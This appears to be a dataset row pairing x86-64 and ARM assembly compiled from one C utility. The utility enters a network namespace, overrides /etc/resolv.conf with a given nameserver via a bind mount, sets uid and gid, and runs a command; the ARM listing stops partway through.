x86
stringlengths 322
23.7M
| arm
stringlengths 336
24.4M
|
|---|---|
.file "957720.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "Usage: %s OPTIONS COMMAND [ARGS...]\n\n"
.align 8
.LC1:
.string "Options:\n -h, --help: show this help\n -n, --nameserver NAMESERVER\n -f, --ns-file FILE\n -u, --uid UID\n -g, --gid GID\n -e, --env VAR=VALUE"
.text
.type usage, @function
usage:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC1[rip]
call puts@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size usage, .-usage
.section .rodata
.LC2:
.string "help"
.LC3:
.string "nameserver"
.LC4:
.string "ns-file"
.LC5:
.string "uid"
.LC6:
.string "gid"
.LC7:
.string "env"
.LC8:
.string "warn: skipping --env %s\n"
.LC9:
.string "+hn:f:u:g:e:"
.align 8
.LC10:
.string "error: --nameserver is required\n"
.LC11:
.string "error: --ns-file is required\n"
.LC12:
.string "error: you must be root.\n"
.LC13:
.string "unshare: %s.\n"
.LC14:
.string "nameserver %s\n"
.LC15:
.string "/etc/resolv.conf"
.LC16:
.string "mount: %s.\n"
.LC17:
.string "open: %s.\n"
.LC18:
.string "setns: %s.\n"
.LC19:
.string "setregid: %s.\n"
.LC20:
.string "setreuid"
.LC21:
.string "chdir: %s.\n"
.LC22:
.string "execvpe: %s.\n"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 336
mov DWORD PTR -8516[rbp], edi
mov QWORD PTR -8528[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -8496[rbp], 0
mov DWORD PTR -8492[rbp], 0
mov DWORD PTR -8488[rbp], 0
mov DWORD PTR -8484[rbp], 0
mov DWORD PTR -8480[rbp], 0
mov QWORD PTR -4112[rbp], 0
mov QWORD PTR -4104[rbp], 0
lea rdx, -4096[rbp]
mov eax, 0
mov ecx, 510
mov rdi, rdx
rep stosq
mov QWORD PTR -8464[rbp], 0
mov QWORD PTR -8456[rbp], 0
mov DWORD PTR -8476[rbp], 0
mov eax, DWORD PTR -8516[rbp]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
cdqe
sal rax, 3
mov QWORD PTR -8448[rbp], rax
mov rax, QWORD PTR -8448[rbp]
mov rdi, rax
call malloc@PLT
mov QWORD PTR -8440[rbp], rax
mov rdx, QWORD PTR -8448[rbp]
mov rax, QWORD PTR -8440[rbp]
mov esi, 0
mov rdi, rax
call memset@PLT
cmp DWORD PTR -8516[rbp], 1
jg .L3
mov rax, QWORD PTR -8528[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call usage
mov eax, 1
jmp .L34
.L3:
lea rax, .LC2[rip]
mov QWORD PTR -8432[rbp], rax
mov DWORD PTR -8424[rbp], 0
mov QWORD PTR -8416[rbp], 0
mov DWORD PTR -8408[rbp], 104
lea rax, .LC3[rip]
mov QWORD PTR -8400[rbp], rax
mov DWORD PTR -8392[rbp], 1
mov QWORD PTR -8384[rbp], 0
mov DWORD PTR -8376[rbp], 110
lea rax, .LC4[rip]
mov QWORD PTR -8368[rbp], rax
mov DWORD PTR -8360[rbp], 1
mov QWORD PTR -8352[rbp], 0
mov DWORD PTR -8344[rbp], 102
lea rax, .LC5[rip]
mov QWORD PTR -8336[rbp], rax
mov DWORD PTR -8328[rbp], 1
mov QWORD PTR -8320[rbp], 0
mov DWORD PTR -8312[rbp], 117
lea rax, .LC6[rip]
mov QWORD PTR -8304[rbp], rax
mov DWORD PTR -8296[rbp], 1
mov QWORD PTR -8288[rbp], 0
mov DWORD PTR -8280[rbp], 103
lea rax, .LC7[rip]
mov QWORD PTR -8272[rbp], rax
mov DWORD PTR -8264[rbp], 1
mov QWORD PTR -8256[rbp], 0
mov DWORD PTR -8248[rbp], 101
mov QWORD PTR -8240[rbp], 0
mov DWORD PTR -8232[rbp], 0
mov QWORD PTR -8224[rbp], 0
mov DWORD PTR -8216[rbp], 0
jmp .L5
.L16:
mov eax, DWORD PTR -8472[rbp]
sub eax, 101
cmp eax, 16
ja .L36
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, .L8[rip]
mov eax, DWORD PTR [rdx+rax]
cdqe
lea rdx, .L8[rip]
add rax, rdx
notrack jmp rax
.section .rodata
.align 4
.align 4
.L8:
.long .L13-.L8
.long .L12-.L8
.long .L11-.L8
.long .L10-.L8
.long .L36-.L8
.long .L36-.L8
.long .L36-.L8
.long .L36-.L8
.long .L36-.L8
.long .L9-.L8
.long .L36-.L8
.long .L36-.L8
.long .L36-.L8
.long .L36-.L8
.long .L36-.L8
.long .L36-.L8
.long .L7-.L8
.text
.L10:
mov rax, QWORD PTR -8528[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call usage
mov eax, 0
jmp .L34
.L9:
mov rax, QWORD PTR optarg[rip]
mov QWORD PTR -8456[rbp], rax
jmp .L5
.L12:
mov rax, QWORD PTR optarg[rip]
mov QWORD PTR -8464[rbp], rax
jmp .L5
.L7:
mov rax, QWORD PTR optarg[rip]
mov rdi, rax
call atoi@PLT
mov DWORD PTR -8484[rbp], eax
jmp .L5
.L11:
mov rax, QWORD PTR optarg[rip]
mov rdi, rax
call atoi@PLT
mov DWORD PTR -8480[rbp], eax
jmp .L5
.L13:
mov eax, DWORD PTR -8476[rbp]
cdqe
mov rdx, QWORD PTR -8448[rbp]
sub rdx, 1
cmp rax, rdx
jne .L14
mov rdx, QWORD PTR optarg[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC8[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
jmp .L5
.L14:
mov eax, DWORD PTR -8476[rbp]
lea edx, 1[rax]
mov DWORD PTR -8476[rbp], edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -8440[rbp]
add rdx, rax
mov rax, QWORD PTR optarg[rip]
mov QWORD PTR [rdx], rax
jmp .L5
.L36:
nop
.L5:
lea rdx, -8432[rbp]
mov rsi, QWORD PTR -8528[rbp]
mov eax, DWORD PTR -8516[rbp]
mov r8d, 0
mov rcx, rdx
lea rdx, .LC9[rip]
mov edi, eax
call getopt_long@PLT
mov DWORD PTR -8472[rbp], eax
cmp DWORD PTR -8472[rbp], -1
jne .L16
cmp QWORD PTR -8456[rbp], 0
jne .L17
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 32
mov esi, 1
lea rdi, .LC10[rip]
call fwrite@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L17:
cmp QWORD PTR -8464[rbp], 0
jne .L19
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 29
mov esi, 1
lea rdi, .LC11[rip]
call fwrite@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L19:
call geteuid@PLT
test eax, eax
je .L20
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 25
mov esi, 1
lea rdi, .LC12[rip]
call fwrite@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L20:
mov edi, 131072
call unshare@PLT
cmp eax, -1
jne .L21
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rdx, rax
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC13[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L21:
lea rax, -8208[rbp]
mov esi, 4096
mov rdi, rax
call getcwd@PLT
lea rax, -4112[rbp]
movabs rsi, 8097862660389696559
movabs rdi, 6354146332364727666
mov QWORD PTR [rax], rsi
mov QWORD PTR 8[rax], rdi
mov DWORD PTR 16[rax], 1482184792
mov WORD PTR 20[rax], 88
lea rax, -4112[rbp]
mov rdi, rax
call mkstemp@PLT
mov DWORD PTR -8492[rbp], eax
mov rdx, QWORD PTR -8456[rbp]
mov eax, DWORD PTR -8492[rbp]
lea rsi, .LC14[rip]
mov edi, eax
mov eax, 0
call dprintf@PLT
mov eax, DWORD PTR -8492[rbp]
mov edi, eax
call close@PLT
mov DWORD PTR -8492[rbp], 0
lea rax, -4112[rbp]
mov esi, 420
mov rdi, rax
call chmod@PLT
lea rax, -4112[rbp]
mov r8d, 0
mov ecx, 4096
mov edx, 0
lea rsi, .LC15[rip]
mov rdi, rax
call mount@PLT
cmp eax, -1
jne .L22
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rdx, rax
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC16[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L22:
mov BYTE PTR -8497[rbp], 1
mov rax, QWORD PTR -8464[rbp]
mov esi, 0
mov rdi, rax
mov eax, 0
call open@PLT
mov DWORD PTR -8488[rbp], eax
cmp DWORD PTR -8488[rbp], -1
jne .L23
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rdx, rax
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC17[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L23:
mov eax, DWORD PTR -8488[rbp]
mov esi, 1073741824
mov edi, eax
call setns@PLT
cmp eax, -1
jne .L24
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rdx, rax
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC18[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L24:
call fork@PLT
mov DWORD PTR -8468[rbp], eax
cmp DWORD PTR -8468[rbp], 0
jne .L25
call getegid@PLT
cmp DWORD PTR -8480[rbp], eax
je .L26
mov edx, DWORD PTR -8480[rbp]
mov eax, DWORD PTR -8480[rbp]
mov esi, edx
mov edi, eax
call setregid@PLT
cmp eax, -1
jne .L26
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rdx, rax
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC19[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L26:
call geteuid@PLT
cmp DWORD PTR -8484[rbp], eax
je .L27
mov edx, DWORD PTR -8484[rbp]
mov eax, DWORD PTR -8484[rbp]
mov esi, edx
mov edi, eax
call setreuid@PLT
cmp eax, -1
jne .L27
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 8
mov esi, 1
lea rdi, .LC20[rip]
call fwrite@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L27:
lea rax, -8208[rbp]
mov rdi, rax
call chdir@PLT
cmp eax, -1
jne .L28
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rdx, rax
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC21[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L28:
mov eax, DWORD PTR optind[rip]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -8528[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR optind[rip]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -8528[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -8440[rbp]
mov rsi, rcx
mov rdi, rax
call execvpe@PLT
cmp eax, -1
jne .L29
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rdx, rax
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC22[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR -8496[rbp], 1
jmp .L18
.L29:
mov eax, 0
jmp .L34
.L25:
mov eax, DWORD PTR -8468[rbp]
mov edx, 0
mov esi, 0
mov edi, eax
call waitpid@PLT
.L18:
cmp BYTE PTR -8497[rbp], 0
je .L30
lea rax, -4112[rbp]
mov rdi, rax
call umount@PLT
.L30:
cmp DWORD PTR -8492[rbp], 0
jle .L31
mov eax, DWORD PTR -8492[rbp]
mov edi, eax
call close@PLT
.L31:
cmp DWORD PTR -8488[rbp], 0
jle .L32
mov eax, DWORD PTR -8488[rbp]
mov edi, eax
call close@PLT
.L32:
movzx eax, BYTE PTR -4112[rbp]
test al, al
je .L33
lea rax, -4112[rbp]
mov rdi, rax
call unlink@PLT
.L33:
mov eax, DWORD PTR -8496[rbp]
.L34:
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L35
call __stack_chk_fail@PLT
.L35:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "957720.c"
.section .rodata
.align 2
.LC0:
.ascii "help\000"
.align 2
.LC1:
.ascii "nameserver\000"
.align 2
.LC2:
.ascii "ns-file\000"
.align 2
.LC3:
.ascii "uid\000"
.align 2
.LC4:
.ascii "gid\000"
.align 2
.LC5:
.ascii "env\000"
.text
.section .rodata
.align 2
.LC7:
.ascii "Usage: %s OPTIONS COMMAND [ARGS...]\012\012\000"
.align 2
.LC8:
.ascii "Options:\012 -h, --help: show this help\012 -"
.ascii "n, --nameserver NAMESERVER\012 -f, --ns-file FIL"
.ascii "E\012 -u, --uid UID\012 -g, --gid GID\012 "
.ascii "-e, --env VAR=VALUE\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type usage, %function
usage:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r1, [fp, #-8]
ldr r0, .L2
bl printf
ldr r0, .L2+4
bl puts
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L3:
.align 2
.L2:
.word .LC7
.word .LC8
.size usage, .-usage
.section .rodata
.align 2
.LC10:
.ascii "warn: skipping --env %s\012\000"
.align 2
.LC11:
.ascii "+hn:f:u:g:e:\000"
.align 2
.LC12:
.ascii "error: --nameserver is required\012\000"
.align 2
.LC13:
.ascii "error: --ns-file is required\012\000"
.align 2
.LC14:
.ascii "error: you must be root.\012\000"
.align 2
.LC15:
.ascii "unshare: %s.\012\000"
.align 2
.LC16:
.ascii "/tmp/capresolv.XXXXXX\000"
.align 2
.LC17:
.ascii "nameserver %s\012\000"
.align 2
.LC18:
.ascii "/etc/resolv.conf\000"
.align 2
.LC19:
.ascii "mount: %s.\012\000"
.align 2
.LC20:
.ascii "open: %s.\012\000"
.align 2
.LC21:
.ascii "setns: %s.\012\000"
.align 2
.LC22:
.ascii "setregid: %s.\012\000"
.align 2
.LC23:
.ascii "setreuid\000"
.align 2
.LC24:
.ascii "chdir: %s.\012\000"
.align 2
.LC25:
.ascii "execvpe: %s.\012\000"
.align 2
.LC9:
.word .LC0
.word 0
.word 0
.word 104
.word .LC1
.word 1
.word 0
.word 110
.word .LC2
.word 1
.word 0
.word 102
.word .LC3
.word 1
.word 0
.word 117
.word .LC4
.word 1
.word 0
.word 103
.word .LC5
.word 1
.word 0
.word 101
.word 0
.word 0
.word 0
.word 0
.align 2
.LC26:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8368
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #8320
sub sp, sp, #60
sub r3, fp, #8192
sub r3, r3, #12
str r0, [r3, #-172]
sub r3, fp, #8192
sub r3, r3, #12
str r1, [r3, #-176]
ldr r3, .L39
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-164]
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-160]
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-156]
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-152]
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-148]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-4]
mov r0, r2
ldr r3, .L39+4
mov r2, r3
mov r1, #0
bl memset
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-144]
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-140]
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-136]
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-172]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
sub r2, fp, #8192
sub r2, r2, #12
lsl r3, r3, #2
str r3, [r2, #-132]
sub r3, fp, #8192
sub r3, r3, #12
mov r4, r3
sub r3, fp, #8192
sub r3, r3, #12
ldr r0, [r3, #-132]
bl malloc
mov r3, r0
str r3, [r4, #-128]
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
sub r3, fp, #8192
sub r3, r3, #12
ldr r2, [r2, #-132]
mov r1, #0
ldr r0, [r3, #-128]
bl memset
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-172]
cmp r3, #1
bgt .L5
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-176]
ldr r3, [r3]
mov r0, r3
bl usage
mov r3, #1
b .L36
.L5:
sub r3, fp, #8192
sub r3, r3, #12
ldr r2, .L39+8
sub r3, r3, #116
mov r1, r2
mov r2, #112
mov r0, r3
bl memcpy
b .L7
.L18:
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-124]
sub r3, r3, #101
cmp r3, #16
ldrls pc, [pc, r3, asl #2]
b .L38
.L10:
.word .L15
.word .L14
.word .L13
.word .L12
.word .L38
.word .L38
.word .L38
.word .L38
.word .L38
.word .L11
.word .L38
.word .L38
.word .L38
.word .L38
.word .L38
.word .L38
.word .L9
.L12:
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-176]
ldr r3, [r3]
mov r0, r3
bl usage
mov r3, #0
b .L36
.L11:
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
ldr r3, .L39+12
ldr r3, [r3]
str r3, [r2, #-140]
b .L7
.L14:
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
ldr r3, .L39+12
ldr r3, [r3]
str r3, [r2, #-144]
b .L7
.L9:
ldr r3, .L39+12
ldr r3, [r3]
mov r0, r3
bl atoi
mov r3, r0
sub r2, fp, #8192
sub r2, r2, #12
str r3, [r2, #-152]
b .L7
.L13:
ldr r3, .L39+12
ldr r3, [r3]
mov r0, r3
bl atoi
mov r3, r0
sub r2, fp, #8192
sub r2, r2, #12
str r3, [r2, #-148]
b .L7
.L15:
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-132]
sub r2, r3, #1
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-136]
cmp r2, r3
bne .L16
ldr r3, .L39+16
ldr r3, [r3]
ldr r2, .L39+12
ldr r2, [r2]
ldr r1, .L39+20
mov r0, r3
bl fprintf
b .L7
.L16:
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-136]
sub r2, fp, #8192
sub r2, r2, #12
mov r1, r2
add r2, r3, #1
str r2, [r1, #-136]
lsl r3, r3, #2
sub r2, fp, #8192
sub r2, r2, #12
ldr r2, [r2, #-128]
add r3, r2, r3
ldr r2, .L39+12
ldr r2, [r2]
str r2, [r3]
b .L7
.L38:
nop
.L7:
sub r3, fp, #8192
sub r3, r3, #12
mov r4, r3
sub r3, fp, #8256
sub r3, r3, #12
sub r3, r3, #52
sub r2, fp, #8192
sub r2, r2, #12
mov r1, r2
sub r2, fp, #8192
sub r2, r2, #12
mov r0, r2
mov r2, #0
str r2, [sp]
ldr r2, .L39+24
ldr r1, [r1, #-176]
ldr r0, [r0, #-172]
bl getopt_long
str r0, [r4, #-124]
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-124]
cmn r3, #1
bne .L18
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-140]
cmp r3, #0
bne .L19
ldr r3, .L39+16
ldr r3, [r3]
mov r2, #32
mov r1, #1
ldr r0, .L39+28
bl fwrite
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L19:
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-144]
cmp r3, #0
bne .L21
ldr r3, .L39+16
ldr r3, [r3]
mov r2, #29
mov r1, #1
ldr r0, .L39+32
bl fwrite
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L21:
bl geteuid
mov r3, r0
cmp r3, #0
beq .L22
ldr r3, .L39+16
ldr r3, [r3]
mov r2, #25
mov r1, #1
ldr r0, .L39+36
bl fwrite
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L22:
mov r0, #131072
bl unshare
mov r3, r0
cmn r3, #1
bne .L23
ldr r3, .L39+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r3
ldr r1, .L39+40
mov r0, r4
bl fprintf
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L23:
sub r3, fp, #8192
sub r3, r3, #12
sub r3, r3, #4
mov r1, #4096
mov r0, r3
bl getcwd
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
ldr r2, .L39+44
mov ip, r3
mov lr, r2
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
str r0, [ip]
add ip, ip, #4
strh r1, [ip] @ movhi
sub r3, fp, #8192
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r0, r3
bl mkstemp
str r0, [r4, #-160]
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
sub r3, fp, #8192
sub r3, r3, #12
ldr r2, [r2, #-140]
ldr r1, .L39+48
ldr r0, [r3, #-160]
bl dprintf
sub r3, fp, #8192
sub r3, r3, #12
ldr r0, [r3, #-160]
bl close
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #0
str r3, [r2, #-160]
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r1, #420
mov r0, r3
bl chmod
sub r0, fp, #4096
sub r0, r0, #12
sub r0, r0, #4
mov r3, #0
str r3, [sp]
mov r3, #4096
mov r2, #0
ldr r1, .L39+52
bl mount
mov r3, r0
cmn r3, #1
bne .L24
ldr r3, .L39+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r3
ldr r1, .L39+56
mov r0, r4
bl fprintf
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L24:
sub r3, fp, #8192
sub r3, r3, #12
mov r2, #1
strb r2, [r3, #-165]
sub r3, fp, #8192
sub r3, r3, #12
mov r4, r3
sub r3, fp, #8192
sub r3, r3, #12
mov r1, #0
ldr r0, [r3, #-144]
bl open
str r0, [r4, #-156]
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-156]
cmn r3, #1
bne .L25
ldr r3, .L39+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r3
ldr r1, .L39+60
mov r0, r4
bl fprintf
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L25:
sub r3, fp, #8192
sub r3, r3, #12
mov r1, #1073741824
ldr r0, [r3, #-156]
bl setns
mov r3, r0
cmn r3, #1
bne .L26
ldr r3, .L39+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r3
ldr r1, .L39+64
mov r0, r4
bl fprintf
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L26:
sub r3, fp, #8192
sub r3, r3, #12
mov r4, r3
bl fork
mov r3, r0
str r3, [r4, #-120]
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-120]
cmp r3, #0
bne .L27
bl getegid
mov r2, r0
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-148]
cmp r3, r2
beq .L28
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
sub r3, fp, #8192
sub r3, r3, #12
ldr r1, [r2, #-148]
ldr r0, [r3, #-148]
bl setregid
mov r3, r0
cmn r3, #1
bne .L28
ldr r3, .L39+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r3
ldr r1, .L39+68
mov r0, r4
bl fprintf
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L28:
bl geteuid
mov r2, r0
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-152]
cmp r3, r2
beq .L29
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
sub r3, fp, #8192
sub r3, r3, #12
ldr r1, [r2, #-152]
ldr r0, [r3, #-152]
bl setreuid
mov r3, r0
cmn r3, #1
bne .L29
ldr r3, .L39+16
ldr r3, [r3]
mov r2, #8
mov r1, #1
ldr r0, .L39+72
bl fwrite
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L29:
sub r3, fp, #8192
sub r3, r3, #12
sub r3, r3, #4
mov r0, r3
bl chdir
mov r3, r0
cmn r3, #1
bne .L30
ldr r3, .L39+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r3
ldr r1, .L39+76
mov r0, r4
bl fprintf
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L30:
ldr r3, .L39+80
ldr r3, [r3]
lsl r3, r3, #2
sub r2, fp, #8192
sub r2, r2, #12
ldr r2, [r2, #-176]
add r3, r2, r3
ldr r0, [r3]
ldr r3, .L39+80
ldr r3, [r3]
lsl r3, r3, #2
sub r2, fp, #8192
sub r2, r2, #12
ldr r2, [r2, #-176]
add r3, r2, r3
sub r2, fp, #8192
sub r2, r2, #12
ldr r2, [r2, #-128]
mov r1, r3
bl execvpe
mov r3, r0
cmn r3, #1
bne .L31
ldr r3, .L39+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
mov r2, r3
ldr r1, .L39+84
mov r0, r4
bl fprintf
sub r3, fp, #8192
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-164]
b .L20
.L31:
mov r3, #0
b .L36
.L27:
sub r3, fp, #8192
sub r3, r3, #12
mov r2, #0
mov r1, #0
ldr r0, [r3, #-120]
bl waitpid
.L20:
sub r3, fp, #8192
sub r3, r3, #12
ldrb r3, [r3, #-165] @ zero_extendqisi2
cmp r3, #0
beq .L32
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r0, r3
bl umount
.L32:
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-160]
cmp r3, #0
ble .L33
sub r3, fp, #8192
sub r3, r3, #12
ldr r0, [r3, #-160]
bl close
.L33:
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-156]
cmp r3, #0
ble .L34
sub r3, fp, #8192
sub r3, r3, #12
ldr r0, [r3, #-156]
bl close
.L34:
sub r3, fp, #4096
sub r3, r3, #12
ldrb r3, [r3, #-4] @ zero_extendqisi2
cmp r3, #0
beq .L35
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r0, r3
bl unlink
.L35:
sub r3, fp, #8192
sub r3, r3, #12
ldr r3, [r3, #-164]
.L36:
ldr r2, .L39
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
